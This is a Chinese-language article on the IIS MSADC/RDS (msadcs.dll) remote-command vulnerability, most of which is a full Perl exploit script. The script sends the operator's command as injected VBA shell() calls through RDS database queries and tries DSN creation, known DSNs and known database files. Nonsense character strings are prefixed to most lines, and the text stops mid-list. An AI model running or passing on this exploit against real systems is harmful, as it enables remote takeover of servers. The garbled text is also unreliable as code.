IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Rla*hc~ "lya|; 涉及程序:
.=<pU k 3G Microsoft NT server
) FsSXnZL $G.|5sEk 描述:
U9%nku4 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
/R?uxhV f;6d/?= ~ 详细:
=?x=CEW 如果你没有时间读详细内容的话,就删除:
1Vvx@1 c:\Program Files\Common Files\System\Msadc\msadcs.dll
Q|r1. 有关的安全问题就没有了。
TuR?r`P% En%o7^W++ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
OF}_RGKg3 %Q01EjRes 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
4IpFT; `q 关于利用ODBC远程漏洞的描述,请参看:
WWzns[$f oMf h|B http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm l$@lk?dc 1a4 $.
{ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
!0_Y@>2 http://www.microsoft.com/security/bulletins/MS99-025faq.asp q&x#S_! JB}h}nb 这里不再论述。
WWs>@lCK 'v5gg2 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
mSp7H!
<T9m.:l /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
G7xjW6^T 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
k82LCV+6 eeZ9 w~< 7t/SZm #将下面这段保存为txt文件,然后: "perl -x 文件名"
RGOwm~a x/v+7Pt_ #!perl
$*> _0{< #
KL{uhb0f # MSADC/RDS 'usage' (aka exploit) script
&WS%sE{p_ #
lsf?R'1 # by rain.forest.puppy
eu/Sp3@v #
-I<`!kH* # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
o?\Pw9Y # beta test and find errors!
l^Z~^.{y oDK\v8w- use Socket; use Getopt::Std;
7qp|Msf}, getopts("e:vd:h:XR", \%args);
)f|6=x4 I>|?B(F print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
j(N9%/4u 81C?U5 if (!defined $args{h} && !defined $args{R}) {
,]'!2? print qq~
53xq% Usage: msadc.pl -h <host> { -d <delay> -X -v }
*2hzReM -h <host> = host you want to scan (ip or domain)
Cl=ExpX/O -d <seconds> = delay between calls, default 1 second
~Y[b
QuA=) -X = dump Index Server path table, if available
)`0 j\ -v = verbose
kv2:rmv -e = external dictionary file for step 5
H%V[%
T4= 3iwZUqyq Or a -R will resume a command session
EwsJa3
` <ZEll[0L ~; exit;}
CdjGYS M3;B]iRQD $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
OW^7aw(N6 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
&-tf/qJ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
s4*,ocyBP if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
^\;5O(9 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
UNHHzTsr? if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
YTA&G ggWfk if (!defined $args{R}){ $ret = &has_msadc;
dDn:^) die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
4G2V{(@QiZ cgAcAcmY print "Please type the NT commandline you want to run (cmd /c assumed):\n"
kdq55zTc<6 . "cmd /c ";
2sH5<5G' $in=<STDIN>; chomp $in;
.`9KB3 $command="cmd /c " . $in ;
Mf"B!WU>]B stScz#! if (defined $args{R}) {&load; exit;}
(w fZ! =X B)sC% print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
ce\-oT &try_btcustmr;
bv0 %{u& I
Cs1= print "\nStep 2: Trying to make our own DSN...";
vhW'2<( &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
?*0kQo' N:.bnF( print "\nStep 3: Trying known DSNs...";
9yPB)&"EF &known_dsn;
=T`-h"E~@ XhiC'.B_ print "\nStep 4: Trying known .mdbs...";
kzT' &known_mdb;
3lqhjA X"sN~Q.0 if (defined $args{e}){
TM;)[R@ print "\nStep 5: Trying dictionary of DSN names...";
V8/o@I{U[ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
nEYJ?_55 bC|~N0b print "Sorry Charley...maybe next time?\n";
z m%\L/BF exit;
"lt[)3* PE>_;k-@k ##############################################################################
lAQ&PPQ qZ.\GHS sub sendraw { # ripped and modded from whisker
{lA@I*_lj sleep($delay); # it's a DoS on the server! At least on mine...
mdd~B2"el my ($pstr)=@_;
zc#`qa:0 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
]SI`fja/ die("Socket problems\n");
Q2o:wXvj if(connect(S,pack "SnA4x8",2,80,$target)){
P!/8 select(S); $|=1;
uQlV zN.? print $pstr; my @in=<S>;
idq= US select(STDOUT); close(S);
QK\z-'&n return @in;
*gnL0\* } else { die("Can't connect...\n"); }}
slbV[xR ~F-,Q_|- ##############################################################################
gQ[4{+DSf %WR sub make_header { # make the HTTP request
- U|4`{PP my $msadc=<<EOT
3ba"[C| POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
l`k3!EZDS User-Agent: ACTIVEDATA
C*$/J\6xy Host: $ip
>4c 1VEi Content-Length: $clen
4^r}&9C~ Connection: Keep-Alive
G(-
`FH wFD.3! ADCClientVersion:01.06
x8^Dhpr6 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
9bB~r[k &}oDSD
H^, --!ADM!ROX!YOUR!WORLD!
Z,z^[Jz Content-Type: application/x-varg
R OS0Q9X Content-Length: $reqlen
B4?P"| K"D9. %7 EOT
F=#Wfl-o ; $msadc=~s/\n/\r\n/g;
bF.Aj8ZQ return $msadc;}
c=5$bo]LI C,E 5/XW ##############################################################################
AG?oA328 >HDK<1 > sub make_req { # make the RDS request
?s//a_nL* my ($switch, $p1, $p2)=@_;
)`)cB)s my $req=""; my $t1, $t2, $query, $dsn;
Ez)Go6Q vc<8ApK3V if ($switch==1){ # this is the btcustmr.mdb query
t9kgACo/M $query="Select * from Customers where City=" . make_shell();
L\UYt\ks $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$I'ES#8P6 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
lxeolDl t?s1@}G^ elsif ($switch==2){ # this is general make table query
})" : F $query="create table AZZ (B int, C varchar(10))";
c09 uCito $dsn="$p1";}
SFjN5u q&vr;fB2 elsif ($switch==3){ # this is general exploit table query
j<c_*^/'9 $query="select * from AZZ where C=" . make_shell();
;tHF$1!J $dsn="$p1";}
tP\Utl-0 ojaZC,} elsif ($switch==4){ # attempt to hork file info from index server
B\Uj $query="select path from scope()";
gP}M\3-O $dsn="Provider=MSIDXS;";}
+mY(6|1 p(Sfw>t( elsif ($switch==5){ # bad query
~[C m#c $query="select";
^^v!..V]J $dsn="$p1";}
uW]n3)7<I a^22H $t1= make_unicode($query);
-6?5|\ $t2= make_unicode($dsn);
b@7
ItzD $req = "\x02\x00\x03\x00";
o,29C7Ii $req.= "\x08\x00" . pack ("S1", length($t1));
/+rHy7(\ $req.= "\x00\x00" . $t1 ;
M8h9i2 $req.= "\x08\x00" . pack ("S1", length($t2));
*+b[v7 $req.= "\x00\x00" . $t2 ;
yEH30zSt $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
`18G
5R return $req;}
J~==<?j: 0j*8|{| ##############################################################################
oOuWgr]0 |')Z; sub make_shell { # this makes the shell() statement
z2r{AQ.& return "'|shell(\"$command\")|'";}
kWgxswl7H ?g!)[p`v ##############################################################################
q|S }5 !a
/ sub make_unicode { # quick little function to convert to unicode
O:1YG$uKa my ($in)=@_; my $out;
/V,:gLpQ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
8 }-"&-X return $out;}
5[0n'uH 6%)dsTAB ##############################################################################
P?>p+dM HH>]"mv sub rdo_success { # checks for RDO return success (this is kludge)
/@0wbA my (@in) = @_; my $base=content_start(@in);
zgLm~ if($in[$base]=~/multipart\/mixed/){
P5[.2y_qM return 1 if( $in[$base+10]=~/^\x09\x00/ );}
>]Y`-*vw& return 0;}
o0AREZ+I rt f}4. ##############################################################################
NbSwn}e_ =x=#Etj| sub make_dsn { # this makes a DSN for us
'E6)6N my @drives=("c","d","e","f");
myH#.$=A print "\nMaking DSN: ";
!.9NJ2'8 foreach $drive (@drives) {
L='GsjF0} print "$drive: ";
KX{ S8_ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
&7;W=uF "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
w*
v%S . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
=E{1QA0 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
QH+Oi&xH return 0 if $2 eq "404"; # not found/doesn't exist
Pj^6.f+ if($2 eq "200") {
5=l Ava# foreach $line (@results) {
[&e}@!8O` return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
MwiT1sB~ } return 0;}
#*5A]"k n:HF&j4C, ##############################################################################
xmbkn}@A Tc{r}y[) sub verify_exists {
R`Q9|yF\ my ($page)=@_;
|06G)r& my @results=sendraw("GET $page HTTP/1.0\n\n");
h T4fKc7P return $results[0];}
u" nyx0< tlc&Wx ##############################################################################
i: 1V\q% Tf` ~=fg% sub try_btcustmr {
o[_{\ my @drives=("c","d","e","f");
rqifjsv my @dirs=("winnt","winnt35","winnt351","win","windows");
s<n5^Vxy [5>0om5 foreach $dir (@dirs) {
dY|( print "$dir -> "; # fun status so you can see progress
gwNv;g foreach $drive (@drives) {
hV_0f_Og print "$drive: "; # ditto
Y*J,9 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
,myl9s $reqlenlen=length( "$reqlen" );
EFhe`` $clen= 206 + $reqlenlen + $reqlen;
=Bl#CE)X H~fZA)W 4Y my @results=sendraw(make_header() . make_req(1,$drive,$dir));
5X'[{'i, if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
#k*e>d$ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
&vo]l~. ;4%^4<+3 ##############################################################################
Sa6}xe."M, N_h)L` sub odbc_error {
2UA h^i-^ my (@in)=@_; my $base;
flnoK%wi my $base = content_start(@in);
n hS=t8H if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
|K7JU^"OQ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
d.sxB}_O $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
C}%g(YRhb $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^~?VD return $in[$base+4].$in[$base+5].$in[$base+6];}
v:eVK!O print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
B]#0]-ua print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
hK3?m.>"g $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
\ c9EE- [T.kwQf4$ ##############################################################################
D>PB|rS@ u<:RSg sub verbose {
nz~3o my ($in)=@_;
zq8LQ4@ay return if !$verbose;
[*Wq6n print STDOUT "\n$in\n";}
C([TolZ >^{}Hjt ##############################################################################
|s+y]3-_ C&D!TR!K sub save {
X*/jna"* my ($p1, $p2, $p3, $p4)=@_;
ZU5hHah.t open(OUT, ">rds.save") || print "Problem saving parameters...\n";
7jvf:#\LtL print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
[YLaRr close OUT;}
['Hl$2 j 0PjWfM8% ##############################################################################
k& 2U& -$>R;L sub load {
LY-fp+ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
QQj)"XJ29 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
?v\A&d @p=<IN>; close(IN);
IR(qjm\V $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
mY+Jju1 $target= inet_aton($ip) || die("inet_aton problems");
km|;T! print "Resuming to $ip ...";
q{nNWvL $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
/q0[T{Wz$ if($p[1]==1) {
jA?A)YNQb $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
P|Dw+lQj $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
\GO^2&g( my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
S=*rWh8)%< if (rdo_success(@results)){print "Success!\n";}
7LbBS:@3z_ else { print "failed\n"; verbose(odbc_error(@results));}}
<-D>^p9 elsif ($p[1]==3){
OTY9Q if(run_query("$p[3]")){
z1{kZk print "Success!\n";} else { print "failed\n"; }}
xrs?"]M[ elsif ($p[1]==4){
:<r.n
" if(run_query($drvst . "$p[3]")){
]6bh #N;. print "Success!\n"; } else { print "failed\n"; }}
+mIO*UQi exit;}
.Ks%ar L'iENZI$ ##############################################################################
tURjIt,I @G@,)`p4? sub create_table {
)v
!GiZ"7 my ($in)=@_;
J^m#984 $reqlen=length( make_req(2,$in,"") ) - 28;
%}elh79H* $reqlenlen=length( "$reqlen" );
e$u=>=jV] $clen= 206 + $reqlenlen + $reqlen;
'_N~PoV my @results=sendraw(make_header() . make_req(2,$in,""));
.B_LQ;0:
return 1 if rdo_success(@results);
[+\=x[q my $temp= odbc_error(@results); verbose($temp);
6vAq&Y{JB' return 1 if $temp=~/Table 'AZZ' already exists/;
*](maF~%C return 0;}
hd^?mZ x1VBO.t=* ##############################################################################
>x]b"@Hkw CoO.. sub known_dsn {
gi\2bzWkbX # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
:m#[V7
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
c>!zJAB "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
K%h9'}pq>1 "banner", "banners", "ads", "ADCDemo", "ADCTest");
@~,&E*X! . V3r1|{Z( foreach $dSn (@dsns) {
lI~T>Lel2 print ".";
ZfsM($|a next if (!is_access("DSN=$dSn"));
jM]B\cvN if(create_table("DSN=$dSn")){
h8B:}_Cu print "$dSn successful\n";
FOV%\=Hl if(run_query("DSN=$dSn")){
C-O~Oi l print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
<#/r.}.x print "Something's borked. Use verbose next time\n";}}} print "\n";}
k<(G)7'gm HI&N&a9C ##############################################################################
-5B>2K F (cAWT, sub is_access {
50kjX} my ($in)=@_;
tUU`R{=( $reqlen=length( make_req(5,$in,"") ) - 28;
8S/SXyS $reqlenlen=length( "$reqlen" );
u5zL;C3O $clen= 206 + $reqlenlen + $reqlen;
{BPNb{dBKr my @results=sendraw(make_header() . make_req(5,$in,""));
<q\OREMsq my $temp= odbc_error(@results);
69/aP= verbose($temp); return 1 if ($temp=~/Microsoft Access/);
HEh,Cf7`' return 0;}
p)2
!_0 }% 2hBl/ ##############################################################################
9j<qi\SSI r&!Ebe- sub run_query {
%:Mi6sR| my ($in)=@_;
y.vYT{^ $reqlen=length( make_req(3,$in,"") ) - 28;
^F\RM4|, $reqlenlen=length( "$reqlen" );
l Oxz&m $clen= 206 + $reqlenlen + $reqlen;
{;mT.[ my @results=sendraw(make_header() . make_req(3,$in,""));
t7#lRp& return 1 if rdo_success(@results);
r'*x><m' my $temp= odbc_error(@results); verbose($temp);
3kqO5+,C return 0;}
,'!x9 ` K!~j}z* ##############################################################################
VgGMlDl ^EtBo7^t
sub known_mdb {
v<0\+}T1R my @drives=("c","d","e","f","g");
5>CmWMQ my @dirs=("winnt","winnt35","winnt351","win","windows");
(B+CI%=
D my $dir, $drive, $mdb;
Q+bZZMK5,U my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
"-
2HKs WX~:Y,l+u # this is sparse, because I don't know of many
]]Bqte my @sysmdbs=( "\\catroot\\icatalog.mdb",
l$_q#Kd "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
OeMI "\\system32\\certmdb.mdb",
vX?MB "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Lsu_f'p0 >%6a$r~@ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
]cQYSN7!SY "\\cfusion\\cfapps\\forums\\forums_.mdb",
({&